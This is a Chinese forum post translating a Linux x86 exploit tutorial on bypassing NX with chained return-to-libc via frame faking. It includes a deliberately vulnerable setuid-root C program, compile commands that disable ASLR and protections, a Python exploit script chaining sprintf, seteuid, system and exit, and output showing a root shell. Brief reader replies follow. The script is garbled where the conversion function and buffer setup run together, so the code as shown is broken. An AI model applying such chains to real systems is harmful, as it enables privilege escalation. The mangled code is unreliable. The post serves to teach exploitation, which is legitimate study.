首页
论坛
专栏
课程

[翻译]Linux (x86) Exploit 开发系列教程之五(使用链接的return-to-libc绕过NX bit)

2017-4-13 18:25 6258

[翻译]Linux (x86) Exploit 开发系列教程之五(使用链接的return-to-libc绕过NX bit)

2017-4-13 18:25
6258

前提条件:

  经典的基于堆栈的缓冲区溢出

  使用return-to-libc旁路NX位

虚拟机安装:Ubuntu 12.04(x86)

   链接的returned-to-libc?

   

正如以前的帖子看到的,有需要攻击者为了成功利用需要调用多个libc函数。链接多个libc函数的一种简单方法是在堆栈中放置一个libc函数地址,但是由于函数参数的原因,所以是不可能的。讲的不是很清楚,但是没有问题,继续!

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */
 strcpy(buf,argv[1]);
 printf("%s",buf);
 fflush(stdout);
 return 0;
}


注意:此代码与上一篇文章(vuln_priv.c)中列出的漏洞代码相同。

编译命令:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

如前一篇文章所述,链接setuid,system和exit将允许我们能够利用漏洞代码”vuln“。但由于以下两个问题,不是一个直接的任务:

 1、 在堆栈中的同一位置,攻击者将需要放置libc函数的函数参数或一个libc函数的函数参数和另一个libc函数的地址,这显然是不可能的(如下图所示)。

 2、seteuid_arg应为零。但是由于我们的缓冲区溢出是由于strcpy引起的,所以零变成一个坏的字符,ie)这个零之后的字符不会被strcpy()复制到堆栈中。


  

 现在看看如何克服这两个问题。

 

  问题1:为了解决这个问题,Nergal谈到了两项辉煌的技术

       1、 ESP Lifting

       2、Frame Faking

在他的pharck杂志的文章中。这里让我们只看关于帧伪造,因为应用esp lifting技术二进制应该在没有帧指针下支持下进行编译(-fomit-frame-pointer)。但是由于我们的二进制(vuln)包含帧指针,我们需要应用帧伪造技术。

 帧伪造?

在这种技术中,而不是使用libc函数地址(本例中为seteuid)直接覆盖返回地址,我们用“leave ret”指令来覆盖它。这允许攻击者将堆栈中的函数参数存储起来,而不会有任何重叠,从而允许调用相应的libc函数,而不会有任何问题。让我们来看看会怎么样?

堆栈布局:当攻击者伪造帧进行缓冲区溢出时,如下图堆栈布局所示,成功链接libc函数seteuid, system 和 exit:


上图中的红色突出显示是返回地址,其中每个“leave ret”指令调用其上方的libc函数。例如,第一个“leave ret”指令(位于堆栈地址0xbffff1fc)调用seteuid(),而第二个“leave ret“(位于堆栈地址0xbffff20c)调用system(),第三个“leave ret”指令(位于堆栈地址0xbffff21c)调用exit()。

leave ret指令如何调用上面的libc函数?

要知道上述问题的答案,首先我们需要了解“leave”指令,”leave”指令转换为:

mov ebp,esp            //esp = ebp
pop ebp                //ebp = *esp

让我们反汇编main()函数来了解更多关于“leave ret”指令的信息。

(gdb) disassemble main
Dump of assembler code for function main:
  ...
  0x0804851c <+88>: leave                  //mov ebp, esp; pop ebp;
  0x0804851d <+89>: ret                    //return
End of assembler dump.
(gdb)


main结尾:

在main的结尾执行之前,如上面的堆栈布局所示,攻击者将会溢出缓冲区并且将会覆盖,main的ebp是fake_ebp0(0xbffff204)并且返回地址是“leave ret”指令地址(0x0804851c)。现在当CPU即将执行main的结尾时,EIP指向文本地址0x0804851c(“leave ret”)。执行时,发生以下情况:

‘leave’ 改变下面的寄存器
        esp = ebp = 0xbffff1f8
        ebp = 0xbffff204, esp = 0xbffff1fc
    ‘ret’ 执行 ”leave ret“ 指令 (located at stack address 0xbffff1fc) .

seteuid:现在EIP再次指向代码地址0x0804851c(“leave ret”)。执行中,发生以下情况:

    ‘leave’ 改变下面寄存器
        esp = ebp = 0xbffff204
        ebp = 0xbffff214, esp =0xbffff208
    ‘ret’执行seteuid() (位于堆栈地址0xbffff208). 为了成功调用seteuid, seteuid_arg应该被放在从seteuid_addr起的8字节处ie),在堆栈位置0xbffff210
    在 seteuid()调用后, “leave ret” 指令(位于堆栈地址0xbffff20c)执行


按照上述过程,system和exit也将被调用,因为堆栈被设置为由攻击者调用 -如上面的堆栈布局图所示。

问题2:在我们的情况下,seteuid_arg应为零。但是由于零是一个坏字符,如何在堆栈地址0xbffff210写零?有一个简单的解决方案,它在同一篇文章中由nergal讨论。在链接libc函数时,前几个调用应该是strcpy,它将NULL字节复制到seteuid_arg的堆栈位置。


注意:不幸的是在我的libc.so.6中strcpy的函数地址是0xb7ea6200-ie)libc函数地址本身包含一个NULL字节(坏字符!!)。因此,strcpy不能用于漏洞代码。sprintf(其函数地址为0xb7e6e8d0)用作strcpy的替代ie)使用sprintf将NULL字节复制到seteuid_arg的堆栈位置。

因此,以下libc函数被链接来解决上述两个问题并成功获取root shell:

sprintf | sprintf | sprintf | sprintf | seteuid | system | exit

利用代码:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fake_ebp0 = 0xbffff1a0
fake_ebp1 = 0xbffff1b8
fake_ebp2 = 0xbffff1d0
fake_ebp3 = 0xbffff1e8
fake_ebp4 = 0xbffff204
fake_ebp5 = 0xbffff214
fake_ebp6 = 0xbffff224
fake_ebp7 = 0xbffff234
leave_ret = 0x0804851c
sprintf_addr = 0xb7e6e8d0
seteuid_addr = 0xb7f09720
system_addr = 0xb7e61060
exit_addr = 0xb7e54be0
sprintf_arg1 = 0xbffff210
sprintf_arg2 = 0x80485f0
sprintf_arg3 = 0xbffff23c
system_arg = 0x804829d
exit_arg = 0xffffffff
#endianess convertion
def conv(num):
 return struct.pack("* 264 
buf += conv(fake_ebp0) 
buf += conv(leave_ret) 
#Below four stack frames are for sprintf (to setup seteuid arg )
buf += conv(fake_ebp1) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp2) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp3) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp4) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3)
#Dummy - To avoid null byte in fake_ebp4. 
buf += "X" * 4 
#Below stack frame is for seteuid
buf += conv(fake_ebp5) 
buf += conv(seteuid_addr) 
buf += conv(leave_ret) 
#Dummy - This arg is zero'd by above four sprintf calls
buf += "Y" * 4 
#Below stack frame is for system
buf += conv(fake_ebp6) 
buf += conv(system_addr) 
buf += conv(leave_ret) 
buf += conv(system_arg) 
#Below stack frame is for exit
buf += conv(fake_ebp7) 
buf += conv(exit_addr) 
buf += conv(leave_ret) 
buf += conv(exit_arg) 
print "Calling vulnerable program"
call(["./vuln", buf])

执行上述漏洞代码给我们root shell!

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����������������\��������������\��������������\�������������\��� �������AAAA0�������Ѕ
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

现在完全绕过了NX bit,让我们看看如何在下一篇文章中绕过ASLR。




[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

上一主题 下一主题
最新回复 (6)
MaYil 2017-4-13 19:23
2
0
谢谢分享,
飞龙使者 4 2017-4-14 09:30
3
0
谢谢分享
飞龙使者 4 2017-5-3 10:35
4
0

图:

了log 2017-6-28 07:26
5
0
谢谢分享
雪地上的玫瑰 2018-6-14 21:32
6
0
 
最后于 2018-6-15 14:37 被雪地上的玫瑰编辑 ,原因:
xinpoo 1 2019-3-15 08:49
7
0
我有个疑问,新的seteuid_arg已经不在0xbffff210了,为什么4个字节0还是往这里写?
游客
登录 | 注册 方可回帖
返回